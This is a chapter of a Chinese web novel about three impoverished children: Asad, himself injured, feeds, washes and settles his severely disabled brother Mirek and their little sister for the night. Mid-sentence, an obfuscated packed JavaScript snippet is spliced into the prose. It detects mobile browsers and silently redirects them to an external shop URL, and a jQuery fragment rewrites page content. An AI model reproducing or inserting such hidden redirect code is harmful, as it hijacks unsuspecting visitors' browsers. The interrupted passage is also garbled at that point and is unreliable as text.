向导他们走后，门口那一点人声很快就散了。
车子发动的时候，巷口短暂亮起一点光，隔着破墙和铁皮棚，晃了一下，又很快被夜色吞没。屋里重新安静下来，只剩风从窗缝里一点一点往里钻，吹得墙上那块补洞的塑料布轻轻发响。
秦穗站在原地，没有立刻动。
Stella已经困得睁不开眼了，哭久了的小脸发红，睫毛一根一根黏在一起，还抓着Asad的袖口不放。Asad坐在小凳上，伤腿伸着，膝盖上的纱布白得刺眼，怀里还死死抱着那只坏竹筐。
哥哥还靠在沙发里，半边身子被塌下去的垫子带着往右陷，锁骨从敞开的领口里薄薄凸出来，睫毛湿着，唇上没什么血色，手腕偏垂在毛毯上。
他也还没有吃东西。
秦穗的喉咙又疼了一下。
她低头去翻自己的包。白天剩下的面包被压得有点扁，边角碎了，纸袋上蹭了一层灰。她把那一小袋拿出来，又把自己没动过的干粮放到茶几边，轻轻往Mirek够得到的位置推近了一点。
Mirek抬起眼。
那双眼睛本来就深，这会儿因为疲惫和湿意，显得更沉，像夜里一口看不到底的井。他大概明白了那是什么，也大概明白了秦穗为什么把它们推到自己手边。那一瞬间，难堪从他脸上很轻地掠过去，耳根慢慢红了一点，像是想说“不用”，可看了看Asad红肿的膝盖，又看了看抱着自己胳膊几乎要睡过去的Stella，最终只是把目光垂了下去。
“你吃一点。”秦穗轻声说。
Mirek没有立刻答。
他低着眼，睫毛在眼下投出细细一层影，手指很轻地动了一下。那只手还搭在毛毯上，腕子朝内偏着，虎口打不开，蜷缩的食指和拇指只是很费力地碰了一下，又分开了。
“我等一下吃。”他垂着眼睛说。
秦穗没有逼他当着自己的面吃。
她只是点头，又看向Asad：“时候不早了我先回去，你的伤口晚上别碰脏水。膝盖如果渗血，明天我带你去换。”
Asad抬头看她，眼睛还是红的，两个小酒窝早就不见了，整张小脸都肿得可怜。他点点头，像还有什么话想说，最后却只是把唇抿紧了。
秦穗又摸了摸Stella乱糟糟的头发。
小女孩的头发带着一点河风吹久了的干涩气，发根却有很淡的奶腥味。她困得迷迷糊糊，只是下意识把脸往Asad胳膊上埋了埋。
门重新被拉开的时候，外面的风立刻卷进来，掀动茶几上的旧报纸，也吹得拉链上那只线绳小鸟轻轻转了半个圈。秦穗走出去，走到门外，又回过头。
昏黄灯泡下，Mirek也正在看她。
他没有说“路上小心”，也没有再说“谢谢”，只是那样安静地看着。肩膀低着，脸白得像没被太阳照过，整个人都显得很薄，可眼睛里有什么东西轻轻压着，没掉下来，也没藏住。
秦穗忽然觉得胸口闷得厉害。
她什么都没再说，只把门轻轻带上，转身走进巷子里。
她走的很慢，夜风吹在脸上，带着灰、潮气和一点燃油味。墙边还坐着白天见过的那些人，烟头在黑里一点一点亮。狗叫声从远处传过来，又很快断掉。
回到旅馆，拧开水龙头，手放在冷水底下冲了很久。手背上还残着一点给Asad擦血时留下的淡淡铁锈味。她把脸埋进掌心里，闭了一会儿眼，眼前还是Mirek那只够不到弟弟、又不肯完全垂下去的手。
隔壁房间传来几声说笑，很快又静下去。
她坐在床边，没有开灯。
黑暗里，那只线绳小鸟垂在包边，模模糊糊晃着。她看了很久，最后还是伸手把它握进掌心里。粗糙的线结轻轻硌着皮肤，小小的、倔强的。
而另一边，屋里已经彻底静了。
Stella先睡着了。
哭也哭不动了，脑袋一点一点往下栽。Asad把她从自己身边抱起来，动作很轻，伤腿一挪就疼得吸了一口气。他咬着牙，还是慢慢把妹妹抱到沙发角边的小毯子上。
屋里只剩下他们两个清醒着。
Mirek看着茶几上的面包，过了很久，才轻轻动了一下。
他想坐直一点去拿，可身体一用力，右腰就先往下塌，肩背绷得发抖。掌根抵住沙发边缘，手腕一偏，整只手只是很无力地滑过去一点，连茶几边都够不到。那点动作已经让他脸色更白，呼吸也有些乱了。
Asad立刻看见了。
“哥哥。”
他从小凳上挪过去，把面包拆开，掰成一小块，送到Mirek嘴边。
Mirek垂下眼，耳根一点点红起来。
“你吃。”
“我吃过了。”
“你只吃了一点。”
“你一口都没吃。”
Asad说得很低，可很坚持。
Mirek看了他几秒，到底还是张口接了。面包很干，边缘还有点硬，他吃得很慢，咬下去时脸颊都没有多少力气鼓起来，只是安静地一点点咽。Asad一直盯着他，等Mirek第二次低头去咬的时候，他才悄悄松了一口气。
喝水更难一点。
瓶口凑过去时，Mirek先抬了抬手，想自己接，手指却只是很细地颤，虎口依旧打不开，最后只把掌根搭在瓶身上，几乎没起什么作用。弟弟没说话，只把瓶子再举近一点。Mirek低头去喝，喉结很轻地滚了一下，唇边沾了一点水。
Asad下意识抬起袖子想替他擦，又停住。
袖口太脏了。
Mirek看见了，轻轻偏了偏头，像是不想让他为这个难受。
“没事。”
Asad把手收回来，低声说：“等会儿洗好了就干净了。”
Mirek“嗯”了一声。
其实他已经很不好了。
刚才情绪绷太久，现在整个人已经脱力了。肩膀歪着，腰侧那只垫子已经彻底被压扁了，他的腿在毛毯底下时不时细小地抽一下，带着布料轻轻动，像深处有一阵一阵不由人的痉挛。只是他不出声，痛也不往外放，所有不舒服都只落在那张过分安静的脸上。
Asad太熟悉了，哥哥已经撑不住了。
“我们洗一下再睡。”他说。
Mirek抬起眼，眼里有一点很浅的歉意。
“Asad，你膝盖……”
“我可以。”声音大了点，好像这样就能压下那些不足的底气。
可他还是撑着站起来。
屋角那个旧水桶被拖出来时，木地板发出很轻的一声响。Asad一瘸一拐地去后面接水，回来时裤腿又蹭脏了一点，额角的纱布也被汗洇湿边缘。他把盆放下，蹲在那里拧毛巾，伤腿一弯就疼，眉头也跟着皱起来，可手里动作没有停。
湿毛巾很重。
他的小手还带着伤，拧得不够干，水顺着指缝往下淌。拧第二次的时候，手背上的擦伤被扯到，他轻轻抽了一下气。
Mirek听见了。
“Asad。”
“没事。”Asad立刻抬头，笑了一下，“很快就好了。”
毛巾递过来时，他用两只手去接。手腕是偏着的，指节蜷得不太自然，掌根抵住湿毛巾边缘，腕骨轻轻打颤。那块毛巾对旁人来说轻，对他却并不轻。他只能两只手捧着，慢慢往自己脖子和锁骨上按。
动作很慢，很费力。
湿毛巾从他手里往下坠，他只能勉强把它夹在掌侧，再一点点挪。擦到胸口时，水已经顺着衬衫领口淌进去一点，他停在那里缓了好一会儿，呼吸慢慢变重。
“哥哥，我来吧。”Asad站在旁边，手有些迟疑地伸着。
哥哥抿着嘴巴摇摇头。
可那块毛巾很快就从他掌间往下滑，蜷着的手指连拢都拢不起来，只能眼睁睁看着它坠到自己腿上。在裤子上印出一大片深色的水痕。
Asad什么都没说，立刻把毛巾捡起来，重新拧一遍，再轻轻去擦他的肩背和手臂。他已经做得很熟了，哪里皮肤容易红，哪里受了潮要多按一会儿，哪里要顺着擦，哪里不能太用力，他都知道。
擦完上身以后，就要换布。
Asad熟门熟路地从木箱里拿出那几块缝得很厚的旧布，又重新接了半盆水。Stella困得东倒西歪，被他低声哄到角落里抱着枕头坐好。她知道这个时候不能乱看，就把脸埋进枕头里，只露出一点乱蓬蓬的头发。
Mirek的脸已经红了，即使做了一次又一次，他还是很难堪。
他把头偏向一边，睫毛压得很低，手指蜷在掌心边缘，连看都不愿意看自己的下半身。可他知道不做不行。这里热，潮，灰也多，如果不每天擦，不换布，很快就会出问题。发炎，发热，破皮，都是会把整个家拖垮的事情。
所以再羞耻难堪也得做。
Asad动作很轻，很快。
Mirek从头到尾没说话，只是有一回布料从腿边拖过去时，他的呼吸很轻地乱了一下，胸口微微起伏，像在用力忍住一阵说不出口的痛。
Asad听见了，手上动作立刻更轻。
“快好了。”他低声说。
Mirek没有应。
只是睫毛轻轻颤了一下。
换好以后，裤子重新穿上，毛毯拉回去，那种被看见的狼狈才像勉强被遮住。Asad把脏布卷起来放到一边，端着盆出去倒水。回来时，膝盖大概已经疼得有点发木了，走路明显更慢。
Mirek看着他，眼尾又红了。
“别忙了。”
Asad摇头。
“还没上床。”
他们没有床了。
原来那张床太高，Mirek上不去，也不安全。卧室里铺着旧褥子，褥子下面垫着几层洗得发硬的布和破席子，虽然薄，却是他们能稳稳躺下的地方。
墙边那辆旧推车被拖过来，轮子一响就嘎吱嘎吱，车上缝着几块破布垫子，边缘磨得起毛。Stella抱着枕头跟过去，困得眼睛都睁不开，还是很认真地把枕头放到她觉得对的位置。
“这里。”她小声说。
Asad低头看了一眼，点点头。
从沙发到推车，再到地铺，这一段是最难的。
哥哥不是完全一点力气都没有。用肩膀挪一下，用那一点点核心把自己从彻底塌下去里勉强拽回来一点。可也只有一点点。多了就没有了。
Asad蹲下来，先把哥哥的腿摆正。
那两条腿很瘦，灰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588085|205370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
布裤空荡荡贴在膝盖上，脚踝被他一只手一只手地扶回去。Stella跪在旁边，帮着把毛毯和垫子先放到推车上。
“我数。”Asad说。
他一边说，一边伸手去抱Mirek的肩背。
“一，二，三。”
到“三”的时候，他使劲把哥哥往前挪。
Mirek闷闷地哼了一声。
声音很轻，还是被Asad听见了。
“疼？”
“……没事。”
这个家里，好像每个人都习惯先说没事，再慢慢熬过去。
他被挪到推车上的时候，身体还是往右边塌。Asad赶紧用肩膀顶住他，Stella把枕头塞过去，三个人忙成一团，终于让他半靠半躺地落在那几块旧布垫子上。
Mirek脸色白得厉害，额头出了一层细汗。
他闭着眼，缓了很久，才很轻地吸了一口气。
“哥哥？”
“嗯。”
“很疼吗？”
Mirek睁开眼，看着Asad那张同样苍白的小脸，想摇头，又想起自己今晚说过的话，最后只很轻地说：“一点。”
Asad眼睛又酸了。
他赶紧低下头，不让哥哥看见。
推车嘎吱嘎吱地被推进卧室。
地铺已经铺好了。旧褥子薄薄一层，边角卷着，Stella蹲在一旁，把小枕头一个一个摆好。她困得头一点一点，还是记得哥哥的枕头要垫高一点。
从推车到地铺，又是一次慢慢的挪。
这次哥哥几乎已经没有力气再帮了。
Asad扶着他，先把哥哥半边身子往褥子上带，再去托腿。Stella在一旁扶着毛毯和枕头，帮不上多少，却不肯离开。
终于躺下去的时候，Mirek整个人像散了一样。
褥子很薄地面很硬，肩膀塌下去，头陷进旧枕头里，手腕无力地歪在身侧。Asad赶紧把他的手摆进毛毯里，又替他把腿间那卷旧布垫好，脚踝摆正，毛毯拉平。
做完这些，Asad自己已经疼得脸都白了。
可还没完。
他还要带Stella去河边洗一下。小孩子可以随便冲一冲，不像Mirek那样，什么都得格外小心。Stella困得快站不住了，被他牵起来时还揉着眼睛，另一只手抱着哥哥的袖口不肯松。
“很快就回来。”Asad哄她。
小女孩看了看哥哥，又看了看门口，终于点头。
Mirek睁着眼，看他们。
“别去太久。”
“我知道。”
“Asad。”
小男孩停住。
Mirek看着他，眼睛湿得厉害。
“膝盖别碰水。”
Asad低头看了看自己那条包着纱布的腿，很轻地“嗯”了一声。
门关上以后，屋里安静得过分。
塑料布在窗边轻轻响，像很远的雨。Mirek躺在旧褥子上，浑身都疼，腰酸得像被人拆开过，腿里有一阵一阵模糊的痉挛，肩背也在发紧。他闭着眼，脑子里却一直是Asad站在门口那一刻，额角带血，怀里抱着坏竹筐，哭着说“哥哥，对不起”。
他忽然觉得自己很没用。
这念头像根针，很钝，却一直扎着。他明明是哥哥，明明该护着他们，结果却只能躺在这里，等一个十岁的小孩受了伤还要回来照顾自己。
没过多久，门又响了。
Asad牵着Stella回来，小女孩头发和脸都湿了一点，困得东倒西歪，鞋子也穿反了。Asad自己的裤脚也湿了，却先把妹妹安置到地铺里侧，把毛毯给她掖好
然后他才慢慢躺下。
伤腿伸得直直的，尽量不碰到哥哥。
屋里没有再说话。
过了一会儿，Mirek还是轻轻开口：“疼吗？”
黑暗里，Asad安静了一下。
“疼。”
这一次他没有说没事。
Mirek的眼泪忽然掉下来。
很轻，落进旧枕头里，几乎没有声音。
Asad往他身边靠了一点。
“明天补小鸟。”他小声说。
Mirek闭着眼。
“嗯。”
“明天找线。”
“嗯。”
“我不去那里了。”
“嗯。”
Stella已经睡着了，手还抓着Mirek的袖口。
三个孩子挤在旧褥子上，身下是硬的地，身上是旧毛毯。窗外的风吹着塑料布，屋里有药水味、湿毛巾味、旧棉布味，还有一点残余的面包气味。
贫穷，疼痛，羞耻，困倦，全都挤在这个夜里。
可他们还是靠在一起，支撑着取暖。
很久以后，Mirek用那只还能动一点的手，慢慢往Asad那边挪。
挪了很久，掌根才碰到弟弟的袖子。
Asad没有动。
过了一会儿，他把自己的手轻轻覆上去。
哥哥的手很凉，肌肉已经萎缩地很厉害，摸上去软软的。
他就那么盖着。
盖着，进入了梦里。